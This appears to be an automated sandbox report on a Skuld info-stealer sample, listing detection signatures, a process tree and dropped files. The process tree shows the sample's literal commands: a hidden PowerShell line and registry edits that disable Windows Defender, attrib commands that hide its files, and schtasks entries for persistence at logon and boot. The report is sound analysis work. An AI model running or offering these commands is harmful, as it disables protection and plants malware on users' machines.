Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 14:20

General

  • Target
    2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  • Size 10.4MB
  • Sample260826-rnkfvaxybx
  • SHA256 980641cee92739eb6a004e78e23c3588e67909ad7b0c5853834420114001083c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Skuld stealer

    An info stealer written in Go lang.

  • Detects SkuldStealer 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables Discord URL observed in first stage droppers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 1 IoCs
  • Detects executables containing possible sandbox system UUIDs 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Detects executables referencing virtualization MAC addresses 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 4 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 5 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Looks up external IP address via web service 1 TTPs 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$p='C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe'; Add-MpPreference -ExclusionPath $p -ExclusionProcess $p; Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1 -DisableScriptScanning 1 -SubmitSamplesConsent 2 -MAPSReporting 0; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5144
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        3⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:1804
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:4492
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:3912
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
      2⤵
      • Views/modifies file attributes
      PID:5684
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:912
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5172
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
      2⤵
      • Views/modifies file attributes
      PID:3668
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\ProgramData\Microsoft\Windows\aef5073c.sys
      2⤵
      • Views/modifies file attributes
      PID:792
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn aef5073c /tr C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys /sc onlogon /rl highest /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5796
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn aef5073c2 /tr C:\ProgramData\Microsoft\Windows\aef5073c.sys /sc onstart /rl highest /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2560
    • C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aef5073c.vbs"
      2⤵
      • Creates a file in the Startup directory
      • Views/modifies file attributes
      PID:2448
    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
      C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
      2⤵
      • Creates a file in the Startup directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$p='C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\aef5073c.sys'; Add-MpPreference -ExclusionPath $p -ExclusionProcess $p; Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1 -DisableScriptScanning 1 -SubmitSamplesConsent 2 -MAPSReporting 0; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:4940
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:4340
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:3368
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
        3⤵
        • Views/modifies file attributes
        PID:3536
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys
        3⤵
        • Views/modifies file attributes
        PID:1376
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn e0835c48 /tr C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4924
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn e0835c482 /tr C:\ProgramData\Microsoft\Windows\e0835c48.sys /sc onstart /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5124
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e0835c48.vbs"
        3⤵
        • Creates a file in the Startup directory
        • Views/modifies file attributes
        PID:5076
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\ProgramData\Microsoft\Windows\e0835c48.sys
        3⤵
        • Views/modifies file attributes
        PID:4084
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5676
  • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
    1⤵
    • Executes dropped EXE
    PID:4896
  • C:\ProgramData\Microsoft\Windows\aef5073c.sys
    C:\ProgramData\Microsoft\Windows\aef5073c.sys
    1⤵
    • Executes dropped EXE
    PID:4132
  • C:\ProgramData\Microsoft\Windows\e0835c48.sys
    C:\ProgramData\Microsoft\Windows\e0835c48.sys
    1⤵
    • Executes dropped EXE
    PID:4832
  • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys
    C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys
    1⤵
    • Executes dropped EXE
    PID:2400

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_nmuqrbni.l2s.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmuqrbni.l2s.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        SecurityHealthSystray.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        • Size 10.4MB
        • SHA256 980641cee92739eb6a004e78e23c3588e67909ad7b0c5853834420114001083c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        aef5073c.vbs

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aef5073c.vbs
        • Size 120B
        • SHA256 57bdf2b273605c8c3b3fe56560807a10510ed28b7409d4f343f194aaff0add29
        • MD5 SHA1 SHA512 TLSH

        e0835c48.vbs

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e0835c48.vbs
        • Size 120B
        • SHA256 7f02b71f29e38d5e79be14eff3c6ff8a48e74c2b8299d7381e68b8cd0e68753f
        • MD5 SHA1 SHA512 TLSH

        memory/3060-45-0x000001893BB90000-0x000001893BC42000-memory.dmp

        memory/5144-18-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-21-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-13-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-14-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-11-0x000001C5D7D80000-0x000001C5D7E32000-memory.dmp

        memory/5144-15-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-16-0x000001C5D7D50000-0x000001C5D7D5A000-memory.dmp

        memory/5144-17-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-0-0x00007FF86229F000-0x00007FF8622A0000-memory.dmp

        memory/5144-19-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-20-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-12-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-22-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-23-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-24-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-26-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-10-0x000001C5D7D60000-0x000001C5D7D7E000-memory.dmp

        memory/5144-7-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-6-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-5-0x00007FF862110000-0x00007FF862AB4000-memory.dmp

        memory/5144-4-0x000001C5BF840000-0x000001C5BF862000-memory.dmp

        memory/5144-1-0x00007FF862110000-0x00007FF862AB4000-memory.dmp